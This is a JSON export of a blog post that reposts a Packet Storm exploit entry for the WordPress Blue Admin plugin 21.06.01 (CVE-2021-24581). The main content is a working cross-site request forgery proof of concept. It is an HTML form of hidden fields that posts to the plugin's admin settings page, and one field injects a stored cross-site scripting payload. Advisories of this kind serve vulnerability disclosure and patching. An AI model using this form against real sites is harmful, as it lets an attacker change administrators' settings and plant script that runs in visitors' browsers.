{"id":24351,"date":"2022-05-12T00:28:22","date_gmt":"2022-05-11T20:28:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167087\/wpblueadmin210601-xsrf.txt"},"modified":"2022-05-15T09:38:42","modified_gmt":"2022-05-15T05:08:42","slug":"wordpress-blue-admin-21-06-01-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-blue-admin-21-06-01-cross-site-request-forgery\/","title":{"rendered":"WordPress Blue Admin 21.06.01 Cross Site Request Forgery"},"content":{"rendered":"
\n
WordPress Blue Admin 21.06.01 Cross Site Request Forgery<\/strong><\/a><\/dt>\n
Posted May 11, 2022<\/a><\/dd>\n
Authored by Abisheik M<\/a><\/dd>\n
WordPress Blue Admin plugin version 21.06.01 suffers from a cross site request forgery vulnerability.<\/dd>\n
tags | exploit<\/a>, csrf<\/a><\/dd>\n
SHA-256 | 565e1dfee9a847dbd07998efdff9ee95a2f3f8e9796f37efdf64ce435d785ed9<\/code><\/dd>\n
Download<\/a> | Favorite<\/a> | View<\/a><\/dd>\n<\/dl>\n
\n
Exploit Title: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)\r\nDate: 2021-07-27\r\nExploit Author : Abisheik M \r\nVendor Homepage : https:\/\/wpscan.com\/plugin\/blue-admi\r\nVersion : <= 21.06.01\r\nTested on: windows 10 Professional\r\nCVE : CVE-2021-24581<\/code><\/pre>\n
<html>
\n<body>
\n<form action=”http:\/\/example.com\/wp-admin\/admin.php?page=blue-admin&tab=blue_admin_login_page” method=”POST” enctype=”multipart\/form-data”>
\n<input type=”hidden” name=”ba_lp_attr[fm_bg_color]” value=”FFFFFF” \/>
\n<input type=”hidden” name=”ba_lp_attr[fm_color]” value=”777777″ \/>
\n<input type=”hidden” name=”ba_lp_attr[logo_text]” value=’WP”><script>alert(\/XSS\/)<\/script>’ \/>
\n<input type=”hidden” name=”ba_lp_attr[logo_url]” value=”https:\/\/example.com” \/>
\n<input type=”hidden” name=”ba_lp_attr[logo_img]” value=”” \/>
\n<input type=”hidden” name=”ba_lp_attr[bg_color]” value=”EEEEEE” \/>
\n<input type=”hidden” name=”ba_lp_attr[text_color]” value=”222222″ \/>
\n<input type=”hidden” name=”ba_lp_attr[bg_img]” value=”” \/>
\n<input type=”hidden” name=”ba_lp_attr[bg_img_pos]” value=”” \/>
\n<input type=”hidden” name=”ba_lp_attr[bg_img_rep]” value=”” \/>
\n<input type=”hidden” name=”ba_lp_options_save” value=”Save changes” \/>
\n<input type=”submit” value=”Submit request” \/>
\n<\/form>
\n<\/body>
\n<\/html><\/p>\n
<\/code><\/pre>\n
 <\/p>\n
<\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"
WordPress Blue Admin 21.06.01 Cross Site Request Forgery Posted May 11, 2022 Authored by Abisheik M WordPress Blue Admin plugin version 21.06.01 suffers from a cross site request forgery vulnerability. tags | exploit, csrf SHA-256 | 565e1dfee9a847dbd07998efdff9ee95a2f3f8e9796f37efdf64ce435d785ed9 Download | Favorite | View Exploit Title: WordPress Plugin Blue Admin 21.06.01 – Cross-Site Request Forgery (CSRF) Date: …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-24351","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=24351"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24351\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=24351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=24351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=24351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}